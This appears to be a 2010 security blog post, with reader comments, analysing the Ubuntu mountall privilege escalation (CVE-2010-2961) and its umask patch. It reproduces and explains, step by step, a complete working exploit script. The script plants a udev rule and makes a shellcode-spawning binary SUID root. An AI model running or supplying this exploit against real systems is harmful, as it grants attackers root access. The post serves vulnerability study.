xorl %eax, %eax

CVE-2010-2961: Ubuntu Linux mountall Privilege Escalation

with 9 comments

This vulnerability was reported by Alasdair MacGregor and it’s as simple as this. The mountall(1) utility which is used as a mounting tool for UDEV rules, create rules that are owned by root and world writable! Example:

-rw-rw-rw- 1 root root 85 2010-10-08 22:04 /dev/.udev/rules.d/root.rules

If you read the bug tracking system’s comments you’ll probably notice Kees Cook’s comment who says:

Touching this file after initramfs boot doesn't seem to trigger a udev 
rules reload, so I think this file isn't actually being used by udev any 
more. That said, it should not be world-writable. Scott, can you confirm 
this can't be used to load arbitrary udev rules?

At last, the fix was to patch src/mountall.c like this:

 		if (root->mounted_dev != -1) {
 			FILE *rules;
 
+			mask = umask (0022);
 			mkdir ("/dev/.udev", 0755);

Which is a simple permissions addition using umask(2) system call as well as…

 				fclose (rules);
 			}
+			umask (mask);
 		}
 	}

So, fuzz came up with an exploit shell script to take advantage of this issue. His exploit code is available here. Let’s see his code now…

#!/bin/sh
# by fuzz. For Anux inc. #
# ubuntu 10.04 , 10.10
if [ -z "$1" ]
then
        echo "usage: $0 <UDEV KERNEL EVENT>"
        echo "see here http://www.reactivated.net/writing_udev_rules.html"
        exit
fi

As you can read, the exploit code requires an argument which should be UDEV kernel event. Next we have:

cat > usn985-exploit.sh << EOF
#!/bin/sh
chown root:root $PWD/usn985-sc
chmod +s $PWD/usn985-sc
EOF

This will simply create another shell script file named ‘usn985-exploit.sh’ that will use chown(1) to update ‘usn985-sc”s owner and group to ‘root’ and add a SUID binary flag to it using chmod(1) utility. Of course, this file has to be present so the next part of his code will create that file.

cat > usn985-sc.c << EOF
char *s="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
main(){int *r;*((int *)&r+2)=(int)s;}
EOF

Using a simple shell spawning shellcode and a call to it this C code will just spawn a shell. The exploit code will of course compile the newly created C source code file as you can read below.

gcc usn985-sc.c -o usn985-sc
echo "KERNEL==\"$1\", RUN+=\"$PWD/usn985-exploit.sh\"" >> /dev/.udev/rules.d/root.rules
chmod +x usn985-exploit.sh
echo "All set, now wait for udev to restart (reinstall, udev upgrade, SE, raep, threat.)"
echo "Once the conf is reloaded, just make the udev event happen : usn985-sc file will get suid-root"

And then write a new UDEV rule to ‘/dev/.udev/rules.d/root.rules’ that will use the user provided kernel event to execute the ‘usn985-exploit.sh’ script which will in turn make the shell spawning code a SUID root binary. Of course, ‘usn985-exploit.sh’ must be an executable file so this is what is done using chmod(1).

Written by xorl

October 13, 2010 at 11:49

Posted in linux, vulnerabilities

9 Responses

Subscribe to comments with RSS.

  1. The scarier part is that an attacker doesn’t even have to wait for a udev event; they can generate them without physical access: http://www.outflux.net/blog/archives/2010/10/13/mountall-umask/

    Kees Cook

    October 13, 2010 at 17:16

  2. Very nice trick, I like it :)

    xorl

    October 13, 2010 at 19:59

  3. Please fix the colour scheme on your website. After reading the white-on-black text, I cannot read your black-on-dazzling-white code snippets.

    Jeremy

    October 14, 2010 at 08:49

  4. @Jeremy: I’ll have a look at the wordpress provided themes but I cannot promise you that the theme will change soon. :(

    xorl

    October 14, 2010 at 11:52

  5. Could you please explain this code snippet?

    {int *r;*((int *)&r+2)=(int)s;}

    I don’t get it completely. (int)s might be the address of the shellcode, but im lost with the left part of the equality.
    Thanks!

    pit

    October 16, 2010 at 16:18

  6. In a more readable form:

    int *func;
    *((int *) &func+2);
    (*func) = (int)shellcode;

    So, he just creates a pointer to a function (which is the ‘int *r’ or ‘func’ in my case) and sets his shellcode to be put and execute it through it.
    The +2 is a trick. As you probably already know, this function will have a stack frame that begins with its frame pointer (EBP) and return address.
    By adding 2 x (int *) to it will set this function pointer pointing to its return address. Then it replaces that return address with the shellcode in order to get it executed.

    xorl

    October 16, 2010 at 16:47

  7. Thank you very much. So the point here is that he’s overwriting the return address with the shellcode address via the r pointer. ¡Good!
    Thank you again, I love this blog.

    pit

    October 17, 2010 at 12:45

  8. Of course you don’t need to actually use shellcode at all: system (“/bin/sh”) would have sufficed in this case. But it would probably be a less realistic example.

    Nix

    October 21, 2010 at 14:49

  9. […] This happens. So, what else can we do? Examining other recent advisories, you’ll learn about the Ubuntu mountall privilege escalation vulnerability. A bug in the mountall utility leaves a world-writeable root.rules file in /dev/.udev/rules.d. […]


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: